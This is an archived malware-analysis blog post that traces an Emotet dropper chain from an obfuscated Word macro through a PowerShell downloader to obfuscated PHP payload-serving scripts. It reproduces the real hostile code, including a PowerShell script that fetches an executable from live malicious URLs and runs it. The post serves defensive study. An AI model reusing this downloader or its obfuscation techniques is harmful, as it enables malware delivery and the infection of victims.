Emotet droppers – Max Kersten

Archived: 2026-04-05 16:09:34 UTC

This article was published on the 16th of February 2019. This article was updated on the 19th of March 2020, and on the 3rd of November 2021.

The Emotet trojan has been active for multiple years and has delivered numerous payloads. In the beginning, the trojan injected itself during the payment process of a purchase, but over the years the malware has transitioned to also drop other trojans. At the time of writing, the main spreading method is via spam campaigns. The e-mails contain a malicious attachment that is often referred to as an invoice.

Table of contents

Sample information

The samples were shared with me by *b1nary* on Telegram. Note that URLs in the macro differ from the wrongly configured website that is analysed later on. This has no influence on the analysis, but it is pointed out for transparency. One can download all the required files from VirusBay, Malware Bazaar, or MalShare. Details are given below.

```
MD5: 52b94921d9e57a2009fb0c562aab25bc

SHA-1: 32bcf8bbf7a5a3e88f4025179f4be9445b8e7ec8

SHA-256: 59c3bb00017dd3bb1abd4d42d9a50df24fcd320bacf5335d1c030b772dc796c5
```

Prerequisite – PHP

Later on, PHP files will be analysed and executed to obtain data. For those following along, PHP needs to be installed. To install PHP on Debian based systems, one can simply use the command that is given below.

```
sudo apt-get install php7.2-cli
```

For Windows, the information is given on the PHP site, which can be found here.

Stage 1 – The malicious macro

The attachment, which was received on the first of February 2019, is named *Factura_OS-0689.doc*. Upon opening it (with macros disabled, on a non Windows based system to avoid an accidental infection), a social engineering attempt becomes apparent. Below, the text within the image is given.

```
This document is protected

To open the document,
follow these steps:

This document is only available for desktop op laptop versions of Microsoft Office word

Click Enable editing button from the yellow bar above

Once you have enabled editing, please click Enable content button from the yellow bar above
```

Aside from the oddly phrased sentences, this is an obvious attempt to lure an unsuspecting victim into executing the payload of the document.

The document contains one form (named *f*), three modules (*d40tNZH*, *tzUxn* and *VCAZiq*) with a single function in each module (respectively *wFjUXJ*, *KKZUbw* and *love*). To ensure the execution of the macro when the file is opened, the *Document_Open* event is used. The code that is executed when this event is triggered, is given below.

```
Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

Sub Document_Open()

If 45 * 13 = 3562 - 3555 Then
tDtKeGn = "q6Cxy"
End If
Dim tu96ocCK As Single
tu96ocCK = Round(20521.794670846)

Dim hAanT8Em2 As Double
hAanT8Em2 = Sgn(58540.935390342)
Dim HMkjb As Long
HMkjb = (3330 / 370) + (6)
```

```
love "o"
End Sub
```

At first, multiple variables are declared and instantiated. None of them are used within the code after the instantiation. The function *love* is called at last, with a single parameter: the string *o*. The code for the *love* function is given below.

```
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub love(IdZALGS)
Dim EQUqVg9N As String
EQUqVg9N = Len(YLPIkZX87)
Dim yDnCg14 As Long
yDnCg14 = (818 - 791) - (13)
Dim yD7Emk2X5 As Long
yD7Emk2X5 = -833133810
Dim T7056ZwR As Long
T7056ZwR = Sgn(0)
Dim sBoDH7mZK As Boolean
sBoDH7mZK = False
cVMhaxQv = "w"
Call Shell(KKZUbw(1) & IdZALGS & cVMhaxQv & wFjUXJ, 0)
End Sub
```

The lay-out of this function is similar to the previous one, in the sense that it first declares and instantiates multiple variables which are never used. Note that the function argument *IdZALGS* is used and equals *o*. The *Call Shell* method contains all the malicious content.
The second argument (the *0*) sets the window mode of the shell. The value zero equals *vbHide*, meaning the shell window is hidden from the user.

Below, the functions *KKZUbw(1)* and *wFjUXJ* are analysed. The variable *cVMhaxQv* equals *w*, as it is set to in the line above the *Call Shell* function. The shell command, in which the two known variables are replaced by their value, is given below for context.

```
Call Shell(KKZUbw(1) & "o" & "w" & wFjUXJ, 0)
```

The code for *KKZUbw* is given below.

```
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public Function KKZUbw(OVOcS As Integer)
Dim FC4Vz As Integer
FC4Vz = Sgn(-24987)
```

```
KKZUbw = "p"
End Function
```

The provided variable *OVOcS* equals *1*, as it was passed from *love*. Both the provided argument and the integer *FC4Vz* are never used. The function *KKZUbw* is set to equal *p*, which is the return value.

For additional context, the shell command with substituted variables, is given below.

```
Call Shell("p" & "o" & "w" & wFjUXJ, 0)
```

The last function that is called, is *wFjUXJ*. The code is given below.

```
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Public Function wFjUXJ()
Dim ohw7OLNTg As Object
Set ohw7OLNTg = New f
Dim YVyOsk As String
YVyOsk = ohw7OLNTg.de.Text
wFjUXJ = YVyOsk
End Function
```

The variable *ohw7OLNTg* is first declared as a generic object. One line later, it is defined as *f*, the form object within the document. The form has a button, named *es*, which displays the text *Cc3KM*. Additionally, a textbox with the name *de* is present. The text within the textbox is given below.

```
ershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6
```

Since the *pow* should be in front, the first word in the string is *powershell*.

The complete script is given below.

```
powershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect w
```

Stage 2 – The dropped Powershell script

The Powershell code is best read with a couple of new lines, as is seen below.

```
$u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.9355
                        .replace('6236.9355943074', $xZGUua);
$Zvg3H6 = '';
iex($u5XQYhS);
```

The variable *$xZGUua* is equal to nothing, hence the string *6236.9355943074* is simply removed from the code above. Doing so results in readable code. To improve readability, simply replace the semicolons with *;\n* in a text editor. After each command, a new line is added. The readable code is given below.

Note that *iex($u5XQYhS);* is used to execute the Powershell script that is described below. The function *iex* stands for *Invoke-Expression*, as can be seen in the Microsoft documentation. Below, the script that will be executed is analysed.

```
$IY2E4 = new-object -comobject wscript.shell;
$WrDq5hf = new-object system.net.webclient;
$h2JAbj3E = new-object random;
$Lcik8RtZ = \"http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhz
$zKrReq4A = $h2JAbj3E.next(1, 65536);
$XqzWsIE = \"c:\windows\temp\putty.exe\";
foreach($VZxSuD9 in $Lcik8RtZ){
        try{
                $WrDq5hf.downloadfile($VZxSuD9.ToString(), $XqzWsIE);
                start-process $XqzWsIE;
                break;
        }catch{}
}
```

The first three variables, *$IY2E4*, *$WrDq5hf* and *$h2JAbj3E*, can be renamed based on the object types. Their new names are, respectively, *$wscriptShell*, *$webClient* and *$randomGenerator*.

The next variable, *$Lcik8RtZ*, is a string of URLs which is split, returning an array of URLs. Hence, it can be renamed to *$urlArray*.

The result of the random generator ranges between 1 and 65535, since the last value is the limit, which is excluded from the possible result. This equals the maximum value of a sixteen bit unsigned integer (*uint16_t*): two to the power 16. The result of the random generator is saved in the variable *$zKrReq4A*. This variable can be refactored to *$randomNumber*.

Lastly, the variable *$XqzWsIE* is equal to the path where the file is downloaded to and executed from. As such, it can be refactored to *$downloadedFile*. The refactored code is given below.

```
$wscriptShell = new-object -comobject wscript.shell;
$webClient = new-object system.net.webclient;
$randomGenerator = new-object random;
$urlArray = \"http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhz
$randomNumber = $randomGenerator.next(1, 65536);
$downloadedFile = \"c:\windows\temp\putty.exe\";
foreach($url in $urlArray){
        try{
                $webClient.downloadfile($url.ToString(), $downloadedFile);
                start-process $downloadedFile;
```

```
                break;
        }catch{}
}
```

The script cycles through all the domain names and tries to download the next stage to the victim's computer, more specifically to *C:\windows\temp\putty.exe*. If the download succeeds, the downloaded file is executed. If an error occurs, the next URL is tried since the catch clause is left empty. If all of the URLs are unavailable, the script terminates and the victim's device remains unaffected.

Stage 3 – The wrongly configured website

Generally, the visited site simply returns the payload. In this case, a wrongly configured website was found, which let the site function as an open directory instead. The PHP file that is analysed in this stage, and the result of it (stage 4), are generally left unobserved, as it is server sided code. The wrongly configured website is given below, although it is now unavailable.

```
http://adsuide.club/y77QTKhV/
```

The content of the PHP file was beautified to increase the readability. Note that the payload is omitted here due to its length, namely 196 393 characters. The code is given below.

```
<?php

function fn5c62c1bcb819b($s) {
        $x = '';
        for ($i = 0, $n = strlen($s); $i < $n; $i+= 2)
                {
                $x.= pack('H*', substr($s, $i, 2));
                }

        return $x;
}

$n5c62c1bcb81d1 = fn5c62c1bcb819b('6576616c28677a696e666c6174652862617365363345f6465636f64652822');
$n5c62c1bcb8206 = fn5c62c1bcb819b('222929293b');
eval($n5c62c1bcb81d1 . '[omitted due to size]' . $n5c62c1bcb8206);
```

The function *fn5c62c1bcb819b* is used to transform two strings using the pack function from PHP. The *H* is used to provide information about the string type, in this case hexadecimal with the high nibble first. The asterisk is used to indicate that the whole string should be taken into account. The function can therefore be refactored to *decode*.

The variables *$n5c62c1bcb81d1* and *$n5c62c1bcb8206* are equal to the result of the *decode* function. Decoding both strings provides provides more information. In the code below, the *[base64-encoded-value-here]* is where the

payload originally resided.

```
eval(gzinflate(base64_decode("[base64-encoded-value-here]")));
```

The data is encoded in two ways, meaning it should be decoded before it can be executed. The complete function is given below. Note that the *eval* function call has been removed, since the payload shouldn't be executed. Instead, it has been replaced with *file_put_contents* to save the file for a more detailed analysis. The path that has been used, should be absolute.

```
<?php

function decode($stringToDecode) {
        $output = '';
        for ($i = 0, $n = strlen($stringToDecode); $i < $n; $i+= 2) {
                $output.= pack('H*', substr($stringToDecode, $i, 2));
        }

        return $output;
}

$commandPart1 = decode('6576616c28677a696e666c617465286261736536345f6465636f64652822');
$commandPart2 = decode('222929293b');
echo "Command equals:\n";
echo $commandPart1 . "[base64-encoded-value-here]" . $commandPart2 . "\n";

file_put_contents("/home/libra/Desktop/emotet/stage4.php", (gzinflate(base64_decode('[omitted due to
```

Note that the file that is written to the disk is a PHP file, since the *eval* function executes the given string as PHP code.

Stage 4 – Returning the payload

The complete beautified PHP file is given below. To retain readability, it will be analysed in parts.

```
<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
header('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
```

```
if (function_exists('opcache_invalidate')) {
        opcache_invalidate(__FILE__, true);
}

class O

{
        private $content_ = '[omitted due to size]';
        private $contentName_ = 'iMDbapCVgUb.exe';
        private $contentType_ = 'application/octet-stream';
        private $regex_ = array(
                array(
                        '(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)',
                        'Android|Silk-Accelerated=[a-z]{4,5}
',
                        'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Delu
                ) ,
                array(
                        'CFNetwork/758\\.4\\.3',
                        'CFNetwork/758\\.3\\.15',
                        'CFNetwork/758\\.2\\.[78]',
                        'CFNetwork/758\\.1\\.6',
                        'CFNetwork/758\\.0\\.2',
                        'CFNetwork/711\\.5\\.6',
                        'CFNetwork/711\\.4\\.6',
                        'CFNetwork/711\\.3\\.18',
                        'CFNetwork/711\\.2\\.23',
                        'CFNetwork/711\\.1\\.1[26]',
                        'CFNetwork/711\\.0\\.6',
                        'CFNetwork/672\\.1',
                        'CFNetwork/672\\.0',
                        'CFNetwork/609\\.1',
                        'CFNetwork/60[29]',
                        'CFNetwork/548\\.1',
                        'CFNetwork/548\\.0',
                        'CFNetwork/485\\.13',
                        'CFNetwork/485\\.12',
                        'CFNetwork/485\\.10',
                        'CFNetwork/485\\.2',
                        'CFNetwork/467\\.12',
                        'CFNetwork/459',
                        '(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)',
                        '(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|;
 Opera)?',
                        'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts
                        'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)'
                ) ,
```

```
                array(
                        'Maemo',
                        'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?',
                        'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?',
                        'Linux;
.*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Sla
                        '(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva
                        'Linux(?:OS)?[^a-z]'
                ) ,
                array(
                        'CFNetwork/760',
                        'CFNetwork/720',
                        'CFNetwork/673',
                        'CFNetwork/596',
                        'CFNetwork/520',
                        'CFNetwork/454',
                        'CFNetwork/(?:438|422|339|330|221|220|217)',
                        'CFNetwork/12[89]',
                        'CFNetwork/1\\.2',
                        'CFNetwork/1\\.1',
                        'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?',
                        'Mac (\\d+(?:[_\\.]\\d+)+)',
                        'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'
                ) ,
                array(
                        'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',
                        'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',
                        'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',
                        'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',
                        'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',
                        'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',
                        'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',
                        'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'
                ) ,
                array(
                        '.?'
                )
        );
        private function spabbd98($sp1bd672)
        {
                foreach($this->regex_ as $spda961f => $spd59ff0) {
                        foreach($spd59ff0 as $sp439cf2) {
                                $sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $sp439cf2
                                if (preg_match($sp439cf2, $sp1bd672)) {
                                        return $spda961f;
                                }
                        }
```

```
                }

                return -1;
        }

        public function execute()
        {
                $sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));
                touch($sp1cb870);
                $spdfc158 = fopen($sp1cb870, 'r+');
                if ($spdfc158 !== false) {
                        if (flock($spdfc158, LOCK_EX)) {
                                $sp7c7c2a = array();
                                $spe8c644 = filesize($sp1cb870);
                                if ($spe8c644 > 0) {
                                        $sp7c7c2a = json_decode(fread($spdfc158, $spe8c644) , true);
                                }

                                $sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER
                                $spda961f = $this->spabbd98($sp6345e2);
                                if ($spda961f > 0) {
                                        if (!isset($sp7c7c2a[$spda961f]) || !is_int($sp7c7c2a[$spda9
                                                $sp7c7c2a[$spda961f] = 0;
                                        }

                                        $sp7c7c2a[$spda961f]++;
                                }

                                fseek($spdfc158, 0);
                                fwrite($spdfc158, json_encode($sp7c7c2a));
                                fflush($spdfc158);
                                flock($spdfc158, LOCK_UN);
                        }

                        fclose($spdfc158);
                }

                header('Content-Type: ' . $this->contentType_);
                header('Content-Disposition: attachment;
 filename="' . $this->contentName_ . '"');
                header('Content-Transfer-Encoding: binary');
                return base64_decode($this->content_);
        }
}

if ($_SERVER['QUERY_STRING']) {
        die($_SERVER['QUERY_STRING']);
```

```
}

if ($_SERVER['REQUEST_METHOD'] != 'GET') {
        die(uniqid());
}

$sp58859d = new O();
echo $sp58859d->execute();
```

The first observation that can be made is the separation of the checks that are executed based on the visitor's request and the payload that is decoded. At first, the checks are analysed. After that, the code that decodes the payload is analysed.

```
<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
header('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');

if (function_exists('opcache_invalidate')) {
        opcache_invalidate(__FILE__, true);
}
```

The function *error_reporting* sets which errors are reported. The argument, in this case the value *0*, ensures that no reporting takes place.

To avoid timing out, the function *set_time_limit* is set to an unlimited amount of time, by using the value *0*.

Additionally, the user can set custom variables using the *ini_set* function. The variables *max_execution_time* and *memory_limit* are set to an indefinite amount of time and memory.

The *header* is set to expire in the past, causing it to be invalidated immediately. Furthermore, any form of caching is disabled. The *opcache_invalidate* function is used to invalidate a cached script, which equals the magic constant *__FILE__*. This constant refers to the full path and filename of the file from which it is called. The boolean, which equals *true*, defines if the cache should be cleared forcefully.

The cache is emptied and avoided to never keep a copy of the payload on the server, other than the script itself.

When a user visits the site, several checks are executed. If both checks are passed, a new object is instantiated and a method of this object is invoked. The code is given below.

```
class O {
        #code omitted
}

if ($_SERVER['QUERY_STRING']) {
        die($_SERVER['QUERY_STRING']);
}

if ($_SERVER['REQUEST_METHOD'] != 'GET') {
        die(uniqid());
}

$sp58859d = new O();
echo $sp58859d->execute();
```

The variable *$_SERVER* is used to request information about the server and the way the PHP script is loaded. The variable *QUERY_STRING* is used to obtain the query string. If any additional parameters are present in the URL, the if-statement returns *true*.

The function *die* is similar to the *exit* function: it displays a message and terminates the script.

Lastly, the function *uniqid* is used to generate a unique id. If the request method for the page is not equal to the HTTP *GET* method, the script is terminated as well.

If both conditions are met, a new object is defined and instantiated: *$sp58859d*. After that, the *execute* function is called. The invoked method is part of the class named *O*, which is given below in parts.

```
class O

{
        private $content_ = '[omitted due to size]';
        private $contentName_ = 'iMDbapCVgUb.exe';
        private $contentType_ = 'application/octet-stream';
```

The class has multiple private variables. The *$content_* is omitted due to its size (292 911 characters), but contains the encoded payload. The *$contentName_* is the file name and the *$contentType_* is the type of file that will be returned, in this case an application.

Below, the *$regex_* variable is given.

```
        private $regex_ = array(
                array(
                        '(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\d+[\\.\\d]+)',
                        'Android|Silk-Accelerated=[a-z]{4,5}
',
```

```
                        'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Delu
                ) ,
                array(
                        'CFNetwork/758\\.4\\.3',
                        'CFNetwork/758\\.3\\.15',
                        'CFNetwork/758\\.2\\.[78]',
                        'CFNetwork/758\\.1\\.6',
                        'CFNetwork/758\\.0\\.2',
                        'CFNetwork/711\\.5\\.6',
                        'CFNetwork/711\\.4\\.6',
                        'CFNetwork/711\\.3\\.18',
                        'CFNetwork/711\\.2\\.23',
                        'CFNetwork/711\\.1\\.1[26]',
                        'CFNetwork/711\\.0\\.6',
                        'CFNetwork/672\\.1',
                        'CFNetwork/672\\.0',
                        'CFNetwork/609\\.1',
                        'CFNetwork/60[29]',
                        'CFNetwork/548\\.1',
                        'CFNetwork/548\\.0',
                        'CFNetwork/485\\.13',
                        'CFNetwork/485\\.12',
                        'CFNetwork/485\\.10',
                        'CFNetwork/485\\.2',
                        'CFNetwork/467\\.12',
                        'CFNetwork/459',
                        '(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\d+(?:[_\\.]\\d+)*)',
                        '(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\d+\\.\\d+)|;
Opera)?',
                        'Podcasts/(?:[\\d\\.]+)|Instacast(?:HD)?/(?:\\d\\.[\\d\\.abc]+)|Pocket Casts
                        'iTunes-(iPod|iPad|iPhone)/(?:[\\d\\.]+)'
                ) ,
                array(
                        'Maemo',
                        'Arch ?Linux(?:[ /\\-](\\d+[\\.\\d]+))?',
                        'VectorLinux(?: package)?(?:[ /\\-](\\d+[\\.\\d]+))?',
                        'Linux;
.*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Sla
                        '(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva
                        'Linux(?:OS)?[^a-z]'
                ) ,
                array(
                        'CFNetwork/760',
                        'CFNetwork/720',
                        'CFNetwork/673',
                        'CFNetwork/596',
                        'CFNetwork/520',
```

```
                        'CFNetwork/454',
                        'CFNetwork/(?:438|422|339|330|221|220|217)',
                        'CFNetwork/12[89]',
                        'CFNetwork/1\\.2',
                        'CFNetwork/1\\.1',
                        'Mac OS X(?: (?:Version )?(\\d+(?:[_\\.]\\d+)+))?',
                        'Mac (\\d+(?:[_\\.]\\d+)+)',
                        'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'
                ) ,
                array(
                        'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',
                        'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',
                        'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',
                        'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',
                        'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',
                        'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',
                        'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',
                        'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'
                ) ,
                array(
                        '.?'
                )
        );
```

The array consists of arrays, each of which defines a different operating system group. At index zero, Android names are matched. The first index contains information about iPhones, iPads and iPods. The second index contains information about Linux distributions. The third index contains information about MacOS systems. The fourth index contains different versions of the Windows operating system. At last, a regex for any character except newlines is used. This match serves as the *other* category.

Below the function that uses the *$regex_* variable is given.

```
        private function spabbd98($sp1bd672)
        {
                foreach($this->regex_ as $spda961f => $spd59ff0) {
                        foreach($spd59ff0 as $sp439cf2) {
                                $sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $sp439cf2
                                if (preg_match($sp439cf2, $sp1bd672)) {
                                        return $spda961f;
                                }
                        }
                }

                return -1;
        }
```

The variable *$spd59ff0* can be renamed to *$forEachValue* since it equals the current value of the array that is being looped through. As such, the variable *$sp439cf2* can be renamed to *$nestedArray*.

The function *preg_match* performs a regular expression (the first argument) on a string (the second argument). The variable *$sp1bd672* can thus be refactored to *$regexSubject*. At last, the variable *$spda961f* is returned. This variable equals the operating system that was matched. As such, it can be renamed to *$operatingSystem*.

If no match is found, the value minus one is returned. This can happen when the given argument is either *null* or consists only of newline characters. The refactored code is given below.

```
        private function getOperatingSystem($regexSubject)
        {
                foreach($this->regex_ as $operatingSystem => $forEachValue) {
                        foreach($forEachValue as $nestedArray) {
                                $nestedArray = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\/', $neste
                                if (preg_match($nestedArray, $regexSubject)) {
                                        return $operatingSystem;
                                }
                        }
                }
                return -1;
        }
```

The *execute* function is given below in parts.

```
public function execute() {
        $sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));
```

The variable *$sp1cb870* is equal to the SHA-1 hash of the *basename* of the *dirname* of the magic constant *__FILE__*. The *basename* returns the trailing name of the component. The *dirname* returns the parent directory of the provided argument (the magic constant *__FILE__*, which equals the script itself). Note that the file name starts with a dot, making it a hidden file on Unix-like systems.

A proof-of-concept of this line is given below. The name of the folder in which the script resided, was *emotet*.

```
<?php echo sha1(basename(dirname(__FILE__))) . "\n";
```

The output of this script equals *8def78060ee806dcf94e65eb9b2fdf4ca1adb2de*, which is the SHA-1 hash of *emotet*. The variable can be renamed to *$sha1Hash*.

Below, the next couple of lines are given.

```
                touch($sha1Hash);
                $spdfc158 = fopen($sha1Hash, 'r+');
```

The *touch* function is used to set the time of a file. If the file does not exist, it is created.

The newly created file is then opened using *fopen*. The parameter *r+* opens the file as readable and writable with the file pointer set at the beginning of the file. As such, the variable *$spdfc158* can be renamed to *$sha1HashFile*.

The next two if-statements are given below.

```
if ($sha1HashFile !== false) {
                        if (flock($sha1HashFile, LOCK_EX)) {
                                $sp7c7c2a = array();
                                $spe8c644 = filesize($sha1Hash);
                                if ($spe8c644 > 0) {
                                        $sp7c7c2a = json_decode(fread($sha1HashFile, $spe8c644) , tr
                                }
[...]
```

The if-statement compares if the *$sha1HashFile* is *true* (not identical to *false*). If this is the case, the function *flock* is called with *$sha1HashFile* and *LOCK_EX* as arguments. This sets an exclusive lock on the file, meaning it cannot be modified by anything else until the file is unlocked.

The variable *$spe8c644* is equal to the filesize of the *$sha1Hash* file. As such, it can be renamed to *$sha1HashFileSize*.

The *json_decode* function is used together with *fread*. The *json_decode* function is used to decode JSON. The second argument (*true*) is used to ensure that the return value is saved in the array type. The *fread* function requires the file and the length that should be read. It is a binary-safe file read. The decoded result is saved in the previously instantiated array *$sp7c7c2a*, which can be renamed into *$decodedSha1File*.

The next part of the function is given below.

```
$sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$spda961f = $this->getOperatingSystem($sp6345e2);
if ($spda961f > 0) {
        if (!isset($decodedSha1File[$spda961f]) || !is_int($decodedSha1File[$spda961f])) {
                $decodedSha1File[$spda961f] = 0;
        }

        $decodedSha1File[$spda961f]++;
}
```

Using the *isset* function, the *HTTP_USER_AGENT* is obtained. If it is not available, the returned value is an empty string. Hence, the variable *$sp6345e2* can be renamed to *$userAgent*.

The variable *$spda961f* contains the return value of the *getOperatingSystem* function. A suitable name for this variable is *$operatingSystem*.

If the operating system (which is represented as a number based of the index in the *$regex_* variable) within the JSON file does not exist or isn't an integer, the value is set to zero. The value of the operating system within the JSON file is then incremented with one. An example of the content of the JSON is file is given below.

```
{"5":18}
```

The key equals *5* whilst the value equals *18*. The operating system type that corresponds with the key is the fifth one in the *$regex_*: any character but a newline. The *$sha1HashFile* is used to keep track of the amount of downloads and the operating system which requested the download.

The file lock is used to make sure that all requests are logged, as a race condition is mitigated due to the lock. The maximum execution time is set to an unlimited amount of time, meaning sometimes the macro which requests the payload, has to wait a bit before the file is served.

Additionally, it provides statistics for the criminal actor through which both the usage and the operating systems of the victims can be seen. Weird statistics might cause the actor to take the site offline to mitigate the efforts of malware analysts.

The file handling part of the function is given below.

```
                fseek($sha1HashFile, 0);
                fwrite($sha1HashFile, json_encode($decodedSha1File));
                fflush($sha1HashFile);
                flock($sha1HashFile, LOCK_UN);
        }
        fclose($sha1HashFile);
}
```

The file pointer is set to index 0 with *fseek*, after which *fwrite* is called to write the string to the file. The function *fflush* flushes the output to a file. Lastly, the file is unlocked using *flock* (note the *LOCK_UN* argument to unlock the file). The file handle is then closed using *fclose*.

The *$sha1HashFile* is used to keep track of statistics. Below, the code is rewritten in pseudo code for a better understanding.

```
statistics = openFile(sha1hash(currentDirectory()), EXCLUSIVE_LOCK);
operatingSystem = getOperatingSystem(userAgent);
if(!statistics.contains(operatingSystem)) {
    statistics.add(operatingSystem, 0);
}
statistics.increment(operatingSystem);
statistics.writeToFile();
closeFile(statistics, UNLOCK);
```

The return value of the function is given below.

```
header('Content-Type: ' . $this->contentType_);
header('Content-Disposition: attachment;
filename="' . $this->contentName_ . '"');
header('Content-Transfer-Encoding: binary');
return base64_decode($this->content_);
```

The header is set to contain the content type, which is defined within the class, as well as the content disposition, which presumably is an *attachment*. The content encoding is *binary*. The content header of the file is base64 decoded using *base64_decode*, which is the file that gets executed by the malicious macro.

During the analysis, the next stage (the file that is downloaded on the victim's machine) is one that is preferably saved separately. This can be done by replacing the return value in the code by the two lines below.

```
file_put_contents("/home/libra/Desktop/emotet/stage5.exe", base64_decode($this->content_));
return "";
```

Finally, the class can be renamed, as is shown below.

```
$downloadClass = new DownloadClass();
echo $downloadClass->execute();
```

Stage 5 – The binary

The binary that is downloaded from the site is an executable which is detected as Emotet, as can be seen here. The SHA-256 hash of the file is given below.

```
82fa35d4f8552c453b7ae2603738478cc22a266e687e481d02473ace810c7e1a
```

Conclusion

The obfuscation techniques within the macro were designed to avoid any form of string detection mechanisms. Due to the possible random layout, it is harder to write rules for the documents.

The PHP files that are on the server, also serve a similar purpose. By obfuscating the PHP code and executing the second PHP stage dynamically, it is harder for server owners to detect a malicious file in a customer's web hosting. This way, the malicious websites try to remain online for a longer period of time. Signature detection is also easily evaded since the file can easily be obfuscated differently every so often.

All in all, it shows how much effort is put in to deliver an executable on the target, which then servers as yet another downloader for another stage within the infection process.

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.
